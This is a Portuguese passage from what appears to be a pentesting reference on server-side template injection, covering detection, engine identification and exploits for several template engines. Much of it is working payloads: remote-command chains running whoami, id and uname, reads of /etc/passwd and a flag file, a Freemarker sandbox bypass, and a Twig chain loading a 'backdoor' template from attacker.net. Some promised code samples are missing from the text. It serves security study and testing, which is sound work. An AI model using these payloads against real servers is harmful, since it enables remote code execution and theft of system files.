RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
A injeção de template do lado do servidor é uma vulnerabilidade que ocorre quando um atacante pode injetar código malicioso em um template que é executado no servidor. Essa vulnerabilidade pode ser encontrada em várias tecnologias, incluindo Jinja.
Jinja é um mecanismo de template popular usado em aplicações web. Vamos considerar um exemplo que demonstra um trecho de código vulnerável usando Jinja:
Neste código vulnerável, o parâmetro name da solicitação do usuário é passado diretamente para o template usando a função render. Isso pode potencialmente permitir que um atacante injete código malicioso no parâmetro name, levando a uma injeção de template do lado do servidor.
Por exemplo, um atacante poderia criar uma solicitação com um payload como este:
O payload {{bad-stuff-here}} é injetado no parâmetro name. Este payload pode conter diretivas de template Jinja que permitem ao atacante executar código não autorizado ou manipular o mecanismo de template, potencialmente ganhando controle sobre o servidor.
Para prevenir vulnerabilidades de injeção de template do lado do servidor, os desenvolvedores devem garantir que a entrada do usuário seja devidamente sanitizada e validada antes de ser inserida nos templates. Implementar validação de entrada e usar técnicas de escape sensíveis ao contexto pode ajudar a mitigar o risco dessa vulnerabilidade.
Detecção
Para detectar Injeção de Template do Lado do Servidor (SSTI), inicialmente, fuzzing do template é uma abordagem simples. Isso envolve injetar uma sequência de caracteres especiais (${{<%[%'"}}%\) no template e analisar as diferenças na resposta do servidor a dados regulares em comparação com este payload especial. Indicadores de vulnerabilidade incluem:
Erros lançados, revelando a vulnerabilidade e potencialmente o mecanismo de template.
Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente de dados regulares.
Contexto de Texto Simples: Distinguir de XSS verificando se o servidor avalia expressões de template (por exemplo, {{7*7}}, ${7*7}).
Contexto de Código: Confirmar a vulnerabilidade alterando parâmetros de entrada. Por exemplo, mudando greeting em http://vulnerable-website.com/?greeting=data.username para ver se a saída do servidor é dinâmica ou fixa, como em greeting=data.username}}hello retornando o nome de usuário.
Fase de Identificação
Identificar o mecanismo de template envolve analisar mensagens de erro ou testar manualmente vários payloads específicos de linguagem. Payloads comuns que causam erros incluem ${7/0}, {{7/0}} e <%= 7/0 %>. Observar a resposta do servidor a operações matemáticas ajuda a identificar o mecanismo de template específico.
uma tabela interativa contendo os poliglotas de injeção de template mais eficientes, juntamente com as respostas esperadas dos 44 motores de template mais importantes.
Exploits
Genérico
Nesta wordlist você pode encontrar variáveis definidas nos ambientes de alguns dos motores mencionados abaixo:
${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Recuperar as variáveis de ambiente do sistema
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Bypass de sandbox
⚠️ funciona apenas em versões do Freemarker abaixo de 2.3.30
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
No Thymeleaf, um teste comum para vulnerabilidades SSTI é a expressão ${7*7}, que também se aplica a este mecanismo de template. Para potencial execução remota de código, expressões como as seguintes podem ser usadas:
Thymeleaf requer que essas expressões sejam colocadas dentro de atributos específicos. No entanto, inlining de expressões é suportado para outros locais de template, usando sintaxe como [[...]] ou [(...)]. Assim, um simples payload de teste SSTI pode parecer [[${7*7}]].
No entanto, a probabilidade de esse payload funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio TemplateResolver para criar templates a partir de strings em tempo real, o que é incomum.
Thymeleaf também oferece pré-processamento de expressões, onde expressões dentro de sublinhados duplos (__...__) são pré-processadas. Esse recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf:
#{selection.__${sel.code}__}
Exemplo de Vulnerabilidade no Thymeleaf
Considere o seguinte trecho de código, que pode ser suscetível a exploração:
Isso indica que, se o mecanismo de template processar essas entradas de forma inadequada, isso pode levar à execução remota de código acessando URLs como:
{{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Pesquise por "com.hubspot.content.hubl.context.TemplateContextRequest" e descubra o projeto Jinjava no Github.
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para agilizar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
JavaServer Faces (JSF): Emprega EL para vincular componentes nas páginas JSF aos dados e ações correspondentes no backend.
JavaServer Pages (JSP): EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página aos dados da aplicação.
Contexts and Dependency Injection for Java EE (CDI): EL se integra ao CDI para permitir uma interação contínua entre a camada web e os beans gerenciados, garantindo uma estrutura de aplicação mais coerente.
Verifique a página a seguir para saber mais sobre a exploração de interpretadores EL:
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
Plates é um mecanismo de template nativo do PHP, inspirado no Twig. No entanto, ao contrário do Twig, que introduz uma nova sintaxe, Plates aproveita o código PHP nativo nos templates, tornando-o intuitivo para desenvolvedores PHP.
Controlador:
// Create new Plates instance$templates =newLeague\Plates\Engine('/path/to/templates');// Render a templateecho $templates->render('profile', ['name'=>'Jonathan']);